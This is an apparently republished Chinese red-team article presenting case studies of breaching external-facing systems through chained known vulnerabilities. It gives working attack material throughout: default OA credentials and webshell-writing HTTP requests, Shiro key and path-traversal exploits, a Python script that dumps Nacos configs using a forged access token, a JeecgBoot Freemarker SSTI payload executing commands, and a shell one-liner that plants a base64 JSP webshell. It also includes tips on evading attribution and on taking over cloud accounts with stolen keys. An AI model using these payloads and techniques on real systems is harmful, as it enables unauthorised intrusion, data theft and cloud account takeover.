文章总结: 本文解析红队外网打点实战,涵盖登录框爆破、SQL注入及Shiro利用等技巧。重点分享JS源码挖掘未授权接口、S3存储桶接管、Nacos配置泄露导致云资源接管等进阶手法。此外包含小程序反编译、弱口令碰撞、JeecgBoot及Gin框架漏洞利用。文章强调通过组合非0day漏洞与逻辑缺陷实现系统沦陷,提供了丰富的攻击思路。
综合评分: 91
文章分类: 红队,渗透测试,WEB安全,代码审计
从单点到沦陷 | 红队外网打点实战案例解析
原创
Hyyrent
0xSecurity
2026年1月8日 10:28
广东
title: 外网打点-不靠0day组合拳拿下目标站点typora-root-url: ..typora-copy-images-to: ../imagesdate: 2025-09-28 18:32:56tags: 外网打点
外网打点-不靠0day组合拳拿下目标系统
案例素材来源于以往参加的攻防比赛和众测项目,旨在拓展外网打点的思路,图片已做去敏处理,如有雷同纯属巧合!
前期准备防溯源
临时VPS:https://aws.amazon.com/cn/campaigns/nc20241001/?trk=870dbb43-c500-4476-8a82-5ea9637bd7a7&sc_channel=psm
代理节点IP:https://www.feiyuip.com/
记得勾选掉线禁用网卡✔,防止网络切换过程中泄露真实出口IP
从最基础的登录框突破
登录框作为hw出现场次最多的角色,也是最容易出洞的,下面介绍一些自己常用的测试方法
登录爆破小技巧
像这种系统的爆破我们有两种解决方法:
- 分析前端加密算法,写脚本模拟对密码进行加密
- 固定密码为123456 000000 使用常见的用户名作为字典进行爆破
两种方法各有优劣,我更倾向于第二种,在比赛打点效率会更高,分析加密算法更适用于红队检测项目
使用爆破的账号密码登入后台,便可以继续寻找后台上传点
看到图片类型这里限制上传的文件格式
直接添加 aspx 文件格式类型
成功getshell
修改返回数据包参数进入后台
有些时候网站登录状态是根据前端判断的,这时候我们就可以直接修改返回包进行绕过
前端判断登录逻辑根据返回包的ret值决定,当返回值为1则成功登录
成功进入后台
插件探测常见sql注入和log4j漏洞
sql注入插件推荐 https://github.com/smxiazi/xia_sql
基本原理是通过发送多个数据包,根据返回数据长度判断是否存在注入
除了被动扫描以外,我们还可以通过手动添加单引号、双引号去查看返回包,若存在类似报错则可能存在sql注入
sqlmap一把梭
log4j插件推荐 https://github.com/TheKingOfDuck/burpFakeIP
通过burp插件fuzz数据包的header头
成功探测出登录框的log4j漏洞
但要注意的的是很多dnslog平台已被防火墙标黑,因此推荐使用ceye或者自搭建dnslog平台
系统默认口令+后台1day漏洞利用
随着攻防比赛愈发频繁,公网能直接利用的前台漏洞越来越少,大多数都被批量扫描修复过了,但我们可以利用系统的默认口令结合1day进行利用
如若依存在默认口令 admin/admin123
进入后台就可以通过计划任务或反序列化执行命令
很多时候我们碰到OA系统,拿OA漏洞检测工具扫一下没漏洞就放弃了,其实像这种OA系统还可能会存在默认口令的问题
#默认口令
系统管理员:system/system
集团管理员(A8-v5集团版) group-admin/123456
单位管理员(A8-V5企业版) admin1/admin123456
审计管理员(所有版本) audit-admin/seeyon123456
前台使用账号密码有时候不能登录,可发送下面数据包获取cookie
POST /seeyon/rest/authentication/ucpcLogin HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Content-Length: 71
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
UserAgentFrom=xx&login_username=audit-admin&login_password=seeyon123456
获取cookie之后就可以使用补丁较新的后台洞进行深入利用,这次使用copyfile这个后台洞
但实战后发现这个漏洞存在一些坑点,写入webshell时候报错了
POST /seeyon/ajax.do?method=ajaxAction&managerName=portalCssManager&rnd=111 HTTP/1.1
Accept: */*
Content-Type: application/x-www-form-urlencoded;charset=UTF-8
Content-Length: 70
Host: 192.168.91.17
Connection: Keep-Alive
User-Agent: Apache-HttpClient/4.5.13 (Java/1.8.0_321)
Accept-Encoding: gzip,deflate
arguments=%5B%22xxxxxx%22%5D&managerMethod=generateCssFileByCssStr
本地开环境调试一下,fuzz发现是双引号所导致,可通过前面加\解决,还有其他的问题总结如下:
- 写seeyon路径下会404,可以换写到root目录下
- webshell的双引号需要前面加入反斜杠,即
“换成\" - 复制的文件名不能与之前的相同,否则会复制失败
//后需要进行换行
经过一首歌的时间,最终成功getshell
同样,X微OA的默认账号密码有 sysadmin/1``sysadmin/Weaver@2001等等
差点擦肩而过的shiro漏洞
被动扫描识别shiro指纹
使用afrog、Wappalyzer等指纹识别器有时候无法直接识别shiro框架
抓包使用hae插件被动扫描识别网站特征
https://github.com/gh0stkey/HaE
WAF拦截绕过
使用工具检测到key,但利用链爆破时候被拦截了,访问网站发现被拦截了
换个ip继续冲,工具直接打不行,准备改用burp手动发包,但是问题又来了,挂着burp网站直接无法访问了
改用yakit能正常发包,猜测可能是burp特征被识别了,这时候想到最近看的github项目,决定尝试一下
https://github.com/sleeyax/burp-awesome-tls
未使用插件前,burp指纹特征被识别,抓包被拦截
使用插件后正常抓包
最终通过 OPTIONS 请求方式 + 静态资源 uri 路径 + 缩短payload长度成功绕过WAF
缩短payload长度可使用 4raIn师傅的项目 https://github.com/antiRookit/ShortPayload
成功getshell
Yso重编译拿下某企业shiro系统
某个目标资产搜集到一个shiro框架系统,通过工具探测到存在默认密钥 kPH+bIxk5D2deZiIxcaaaA==
存在JRMP利用方式,但JRMP执行失败
可能原因:Yso自带的CB链版本和目标环境CB链版本不一致
用1.8.3重新进行编译
使用新的yso成功执行命令,另外防止其他队伍从目标得分还可以修改shiro默认key
JS源代码抽丝剥茧从单点到逐个击破
fuzz未授权webpack接口
右键源代码——查看检索js——在后面添加.map
curl -O http://xx.xx.xx.xx/*.js.map
之后会下载一个js.map,使用reverse-sourcemap进行还原
npm install --global reverse-sourcemap
reverse-sourcemap --output-dir 生成的目录 app.6804b239.js.map
可寻找各种未授权的接口进行进一步的利用
使用脚本提取路径,提取后的结果可作为字典放到burp进行fuzz
ueditor编辑器漏洞捡漏
查看源码,发现使用了ueditor组件
或者全局进行检索 ueditor,发现ueditor路径
构建表单上传 1.jpg?.aspx
invalidPattern.Replace 处通过正则替换后成为 1.jpg.aspx,后经过 GetExtension()得到扩展名 aspx 最后返回处理后的木马路径
亚马逊S3存储桶接管
在js里翻找,发现网站背景图片来源于s3存储桶地址
访问该地址发现为 NoSuchBucket ,表示可以接管
亚马逊云注册相应的存储桶,填入相应的名称和区域即可,接管后再次访问会变为 UnauthorizedAccess
从任意文件读取到部署war包getshell
框架识别
根据返回的 rememberme 判断为shiro框架
直接拿工具打一波发现找不到密钥,正常正常,毕竟现在公网的shiro经过多轮hw基本也绝迹了
挖掘注释接口
问题不大,尝试从系统其他方面入手,从js里全局搜索 download``upload这些字段,可能存在任意文件上传或读取漏洞
通常开发人员为了省事,可能会直接把前端功能代码注释掉,而不把相应后端接口删除,这时候就会给我们留下可乘之机
像这里我们通过检索download,发现一个被注释的下载接口,拼接路径尝试进行任意文件读取
shiro权限绕过
拼接路径后访问发现会重定向到首页,这时候开始怀疑漏洞是否存在,但转念一想可能是权限问题
这时候想到shiro框架有个容易被忽略的点,那就是权限绕过
shiro权限绕过分析 https://xz.aliyun.com/t/12643
直接拼接会重定向到首页
resources/js/xxxxxx/downloadFile?url=/../../../../etc/passwd
/..;/可绕过
resources/js/xxxxxx/..;/../../downloadFile?url=/../../../../etc/passwd
通过/..;/成功读取主机文件
能读取文件那肯定是不够的,我们目标是getshell,尝试读数据库密码,但扫描端口发现未对外开放
这时候查看扫描结果发现8080端口是开放的,直接读取/conf/tomcat-users.xml文件,获取tomcat的密码
使用获取的账号密码登录,部署war包成功getshell
从旁站获取源码到任意文件上传
提取网站特征
- 查看网站特定js、开发厂商信息,如
技术支持XXXX``XXX公司 - 通过fofa、hunter测绘平台寻找旁站
旁站备份文件扫描
导出同cms站点列表,扫描旁站备份文件
云盘搜索泄露源码
我只能说,凌风云是个好东西
代码审计
- 获取源码后我们优先挖掘任意文件上传这类能getshell的漏洞
- 查看
web.xml搜索.SaveAs``upload查找可利用的点,像下面这个代码,我们通过检索发现两处疑似上传的接口
跟进 PreviewImageUploadServlet.class
定义保存文件的路径,默认为 /img/faces,如果请求中包含名为 path 的参数,则将保存路径设置为该参数的值
创建一个 MultipartRequestParser 实例,用于解析请求,并将结果存储在 PreviewImageInfo 对象中
PreviewImageInfo info = (PreviewImageInfo)parser.parse(request, "com.chinasofti.ordersys.servlets.common.PreviewImageInfo");
跟进 PreviewImageInfo.class ,没有进行过滤,因此我们可以构建表单直接上传
某访客系统从actuator到百万数据泄露
查看burp历史记录发现系统会向后端请求/gateway接⼝
拼接路径进行目录扫描发现⼀堆actuator端点,使用最近新出的几个漏洞均没打成功
heapdump泄露
尝试从其他地方入手,发现存在 heapdump 泄露,使用工具查看泄露了些什么内容
https://github.com/whwlsfb/JDumpSpide
发现一些账号密码,但都是在内网无法直接利用
继续从中寻找机会,把里面的接口和url拼接路径到Burp批量跑⼀下,这时候发现一个可以的注册接口,感觉有戏!
创建用户获取token凭证
使用该接口创建用户
但创建后的用户不能直接登录到系统,但可以通过新增的账密获取token凭证
可结合接口文档使用token凭证调用接口查询,获取大量用户敏感数据
从nacos任意用户注册到接管企业云
HVV中最爱的nacos,全身上下都是价值连城的宝贝,关键是好找!
指纹特征 HTTP Status 404 – Not Found 以及 8848端口
直接访问404,拼接 nacos 路径可以看到目标系统
漏洞检测
探测漏洞可使用下面脚本
https://github.com/Pizz33/nacos_vul
nacos任意用户注册,关键在于登入后台查看配置文件里的账密信息
导出配置文件
但手动一个个查看配置文件很麻烦,可以使用脚本一键导出
importargparse
importrequests
importjson
importre
importurllib3
fromconcurrent.futuresimportThreadPoolExecutor
importlogging
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
headers= {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.141 Safari/537.36'
}
defget_namespace(url, proxies):
url1=url+'v1/console/namespaces?search=accurate&dataId=&group=&pageNo=1&pageSize=100&accessToken=eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJhZG1pbiIsImV4cCI6MTk3ODk4ODUzMH0.ZaS9-mLaHjHSNU_Pkct_H-hgmtB3qCkFEGqkr47PH2c'
response=requests.get(url1, proxies=proxies, verify=False, headers=headers, timeout=3)
data=json.loads(response.text)
namespaces= [item['namespace'] foritemindata['data']]
ifnamespaces:
withopen('success.txt', 'a') asf:
f.write(f"{url}\n")
returnnamespaces
defprocess_url(url, proxies):
print(f"Processing URL: {url}")
try:
namespaces=get_namespace(url, proxies)
print(f"Namespaces: {namespaces}")
fornamespaceinnamespaces:
new_url=url+'v1/cs/configs?search=accurate&dataId=&group=&pageNo=1&pageSize=100&tenant='+namespace+'&accessToken=eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJhZG1pbiIsImV4cCI6MTk3ODk4ODUzMH0.ZaS9-mLaHjHSNU_Pkct_H-hgmtB3qCkFEGqkr47PH2c'
print(f"Accessing URL: {new_url}")
response=requests.get(new_url, proxies=proxies, verify=False, headers=headers, timeout=5)
#print(response.text)
text=response.text.replace('\\r\\n', '\n').replace('\\n', '\n')
file_name=re.sub(r'\W+', '_', url) +'.yaml'
withopen(file_name, 'a') asf:
f.write(text+'\n')
exceptExceptionase:
print(f"An error occurred while processing URL {url}: {e}")
defmain():
parser=argparse.ArgumentParser()
parser.add_argument("-u", "--url", help="格式为http://xx.xx.xx.xx/nacos/")
parser.add_argument("-p", "--proxy", help="the proxy to be used")
parser.add_argument("-f", "--file", help="the file containing URLs to be processed")
parser.add_argument("-t", "--threads", type=int, help="the number of threads to be used", default=5)
args=parser.parse_args()
proxies= {
"http": args.proxy,
"https": args.proxy,
}
withThreadPoolExecutor(max_workers=args.threads) asexecutor:
ifargs.file:
withopen(args.file, 'r') asf:
forlineinf:
url=line.strip()
executor.submit(process_url, url, proxies)
elifargs.url:
process_url(args.url, proxies)
else:
print("Please provide a URL or a file containing URLs.")
if__name__=="__main__":
main()
获取accesskeyid和accesskeysecrets后可使用工具接管云
推荐工具
https://github.com/teamssix/cf/releases
https://github.com/mrknow001/aliyun-accesskey-Tools/releases/tag/v1.3
获取到云数据库的账密,直接navicat连接
弱口令爆破小程序
在微信小程序平台中搜索目标单位,发现后勤管控平台的一个资产
该系统采用shiro框架,尝试进行key爆破测试,但未取得成功
这类系统通常使用员工工号作为用户名,通过google搜索语法确定工号为5位数字格式(如10001、10002)
设置固定密码123456,使用Top1000用户名字典进行爆破攻击,成功获取三个弱口令账户
此时继续寻找其他功能点,因为弱口令积分只有20分
在历史记录中发现StaffListV2接口,返回信息显示无权限,尝试fuzz相似接口
将 StaffListV2 改为 StaffListV1、StaffListV3、StaffList 进行测试
发现StaffList接口未进行权限验证,可以获取全部员工邮箱和工号信息
随后通过小程序反编译获取web后台管理地址:https://api.xxxx-admin.com
小程序反编译工具:https://github.com/Ackites/KillWxapkg
使用从小程序爆破获得的账号密码尝试登录后台
由于爆破获得的账号为普通员工权限,后台数据无法查看,因此需要尝试获取管理员账号权限
查看历史数据包,在密码修改功能中发现返回用户名pwd_hash的API接口
通过传递userid参数可以越权查看其他用户的pwd_hash,而StaffList接口正好提供了所有员工的userid
随后分析pwd_hash格式,无法直接解密但响应中包含随机salt值
分析发现 pwd_hash=(password md5–salt)sha256格式,据此编写碰撞脚本
1.利用密码和盐值生成MD5和SHA-256组合哈希值
2.从文件中逐行读取密码列表进行比对
3.将文件中密码与提取的盐值和哈希进行匹配查找
成功碰撞获得高权限账号密码 1qaz@WSX
JS中隐藏的注册页面
在渗透测试工作里,需要熟练利用js代码挖掘隐藏接口,发现前端页面未公开显示的遗留或测试接口
- 可以通过全局搜索js代码,寻找路由配置、接口注释或服务端代码中的注册逻辑
- 通过尝试修改常用注册接口路径(如
/api/register、/user/signup、/auth/create)来测试访问 - 配合字典爆破工具(如dirbuster、ffuf等)进行接口路径扫描
本次通过全局搜索js代码中的 register 字段进行查找
正准备用小号接收短信验证码时,突然发现 /xxx/sendsmscode/ 接口泄露了验证码内容
存在短信验证码回显漏洞,这意味着可以伪造任意手机号登录系统,但管理员手机号如何获取?
此时想到三个解决方案
- 通过社工方式获取目标管理员手机号(搜索引擎和电话查询均无结果,放弃)
- 进行手机号爆破(尝试了几万次爆破,成功率为0,放弃)
- 决定进入后台系统挖掘越权漏洞
使用任意手机号注册系统,抓包发现请求数据经过加密
通用分析方法,先定位加密函数位置,设置条件断点(如访问encrypt字段或调用AES-GCM函数时触发)
然后检查函数参数,特别是密钥和IV参数,追踪密钥来源是否硬编码或通过密钥交换生成
这里通过全局搜索encrypt字段,发现使用AES-GCM加密方式,通过断点动态调试获取session key
注意:此session key为一次性使用,页面刷新即失效
利用AES-transfer插件进行自动字段替换
成功获取明文数据内容
成功解密数据后,开始寻找可能存在权限绕过的接口
实用技巧: 通过搜索包含id参数的接口,结合hae插件快速挖掘用户信息泄露型越权
最终通过 /xxx/xxx/Getinfo?pageIndex=1&pageSize=15&key=1&id=72 接口成功发现越权点获取管理员手机号
最后使用管理员手机号配合短信验证码回显漏洞成功登录后台管理系统
VUE框架下未授权账号获取
使用jadx工具反编译APP,获取管理系统域名信息
观察到登录页面包含数字验证码功能
抓取数据包发送至验证码识别模块进行处理
验证码识别工具:https://github.com/f0ng/captcha-killer-modified
最近找到一个针对Vue框架非常实用的浏览器插件:https://github.com/Ad1euDa1e/VueCrack
该插件用于分析Vue框架网站的路由结构,绕过路由守卫机制,发现站点隐藏资产和未授权访问漏洞
通过Vue框架泄露的未授权路由/admin/dashboard,在右上角获取管理员掩码手机号 155xxxx0168
定位到许可证功能模块的文件上传点,未设置任何拦截措施,非常便利
获得shell后发现权限为IIS用户,权限过低只能查看部分文件,很多命令执行受限
发现进程列表中有sunloginclient.exe,尝试读取向日葵客户端配置文件
向日葵客户端默认配置文件路径:
安装版本:C:\Program Files\Oray\SunLogin\SunloginClient\config.ini
便携版本:C:\ProgramData\Oray\SunloginClient\config.ini
本地验证码参数:encry_pwd
本地识别码参数:fastcode(去除开头字母)
登录状态参数:sunlogincode
成功读取配置但无法建立连接
峰回路转之际,通过 web.config 配置文件获取数据库连接凭据
jeecg框架指纹识别
进行常规目录扫描和弱口令测试均未发现问题,正准备转移到下一个目标时,使用 sweetpotato 插件识别出目标系统采用 jeecg 框架
工具地址:https://github.com/z2p/sweetPotato
JeecgBoot受影响版本中,积木报表模块 /jeecg-boot/jmreport/queryFieldBySql 接口未实施身份验证,使用Freemarker模板引擎处理用户提交的sql参数,未经授权的攻击者可以通过发送包含恶意sql参数的HTTP请求,在应用端实现SSTI任意代码执行
POST /jeecg-boot/jmreport/queryFieldBySql HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.120 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 105
{"sql":"select 'result:<#assign ex=\"freemarker.template.utility.Execute\"?new()> ${ex(\"whoami \") }'" }
发送请求后返回错误信息,提示需要token参数
有时开发者会考虑向下兼容,并未直接升级版本修复漏洞,可能只是增加了权限验证将接口移至后台管理
那么如何访问后台管理系统或获取有效token?弱口令爆破显然不可行
此时进行目录扫描发现站点存在swagger接口文档泄露
通过 httptrace 接口获取有效的 x-access-token 令牌
在请求中携带 x-access-token 成功执行系统命令
备份文件泄露通过旁站
完成一二级域名的收集后进展不大,继续扩展到三四级域名收集(使用Oneforall、Amass、SubdomainBrute工具)
凭借敏锐的直觉发现一个测试平台很有价值,通过右键查看源码提取特征信息 body = 'updatexxxxx'
代码审计辅助工具:分享几个体验良好的静态代码扫描插件
工具链接:https://github.com/KimJun1010/inspector
https://github.com/Zjackky/CodeScan
https://github.com/SpringKill-team/SecurityInspector
该系统基于gin框架开发,Gin框架的路由定义了客户端请求URL与处理函数之间的映射关系,可通过GET、POST等HTTP方法关键字查找路由
如下图所示,可以看到/giro/stats/路由对应的请求方法是POST,处理逻辑位于stats.HandleUrl函数
sql注入漏洞通常出现在fmt.printf中通过%s进行字符串拼接的情况
query := fmt.printf("SELECT * FROM users WHERE name='%s'", name)
rows, err := db.Query(query)
可以通过%s进行全局搜索,但跟踪后未发现用户可控输入导致的有效注入点
此时发现系统引入了yaegi第三方库 https://github.com/traefik/yaegi
yaegi库常用于插件系统和动态脚本执行场景,但i.Eval方法允许动态执行用户提供的Go代码会带来安全风险
发现此处未对用户输入进行安全验证,导致命令注入漏洞
根据路由信息定位到对应功能模块,但直接访问会被重定向到首页
发现代码中使用 context.Request.URL.Path 进行判断
可以通过对请求Path进行URL编码来绕过权限验证,因为request.url.path的特性仍能正确匹配路由
发送payload后成功执行命令并回显dnslog信息
ASP.NET调试信息泄露
进行目录扫描发现ASP.NET调试信息泄露,泄露Cookie数据:/Trace.axd?id=0,使用泄露的Cookie进入后台管理系统
利用Burp内置的cookie替换功能进入后台,在配置文件位置抓包获取FTP账号密码
正常情况下FTP服务支持直接上传webshell,但此环境设置限制仅允许文件读取和下载操作
因此将根目录www.zip文件下载到本地进行代码安全分析
上传压缩包功能仅对zip后缀进行过滤,继续向下跟踪UploadPackage功能
发现默认上传路径为 /App_Data/BaseManage/Applications/,但前端无法访问此路径
继续寻找发现copyfile方法,可以通过传递json文件将压缩包解压到指定位置 "/App_Data/BaseManage/Applications/" -- appkey
因此可以构造 app.json 文件一同打包进压缩包
{
"AppName": "111",
"AppKey": "../../../Test",
"Version": "0.0.0.1",
"Author": "222",
"Roles": "Administrators",
"Description": "333"
}
然后选择压缩包进行上传和安装操作
成功获得服务器权限,发现目标系统也在同一服务器,本以为可以结束任务提交报告
但此时裁判要求提供web系统登录证明,只能继续加班工作
开始搜索数据库配置文件 ./xxx/xxx/product/application.ini,找到 root/ENC(2RllAsMDeSP–MsRbM0CdSS7xxxxxx7XeyVHQNGUBE0XU=)
此处密码为加密字符串,无法直接使用,继续查找加密算法实现代码
分析发现采用AES-128-CBC加密,密钥通过sha256循环哈希100次生成最终密钥
根据加密算法编写解密脚本,成功破解数据库密码
mysql -u root -p KFMI5xxxxxVOCC
select * from xxxx.v3_user limit 0,100;
密码使用BCrypt算法生成,不可逆转只能进行替换操作
BCrypt哈希值格式示例:
$2a$10$QkBrYzvFkxslEu.NR4K6jOScKpiEqeptALHRoVkj5hoMFm9TqCm8u
组成部分:
$2a$:标识BCrypt算法版本10:工作因子为10,数值越大安全性越高QkBrYzvFkxslEu.NR4K6jO:随机生成的盐值ScKpiEqeptALHRoVkj5hoMFm9TqCm8u:经过加密的密码哈希- 解密工具:https://github.com/gchq/CyberChef
重新生成哈希值进行替换(记得保存原值以便后续恢复),成功攻陷目标系统
导航页面漏洞利用
通过扫描旁站端口发现6666端口存在目录遍历漏洞
可以通过 UploadSource — UploadDestination 参数实现远程下载webshell到服务器的效果
定位到前端页面,通过右键查看源码,随机选择一个静态资源文件chunk-000a3681.70cde055.css,通常静态资源目录对前端是可访问的
find /|grep chunk-000a3681.70cde055.css|while read f;do sh -c 'echo xxx | base64 -d' >$(dirname $f)/test.jsp
确定前端路径后直接下载webshell,使用哥斯拉工具建立连接
随后使用fscan工具进行内网扫描,发现存在docker未授权访问
选择任意节点进行验证测试
在 云管平台 中,数据库凭据通常分布在多个组件层级,常见存储位置包括:
-
应用程序配置文件:
-
application.properties/appsettings.json/web.config/config.yaml -
许多平台将数据库连接字符串直接存储在这些配置文件中。
-
Docker Compose / Kubernetes 配置:
-
docker-compose.yml、k8s deployment.yaml文件中可能硬编码账号密码。 -
云管平台可能通过环境变量保存数据库连接信息
DB_USER=admin
DB_PASS=SupXXXXXXX123
此处密码恰好存储在环境变量中
建立数据库连接,查找web系统对应数据表,创建管理员用户 adminx
成功登录H3C云管平台,可以管理1000多台云主机资源
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:0xSecurity Hyyrent《从单点到沦陷 | 红队外网打点实战案例解析》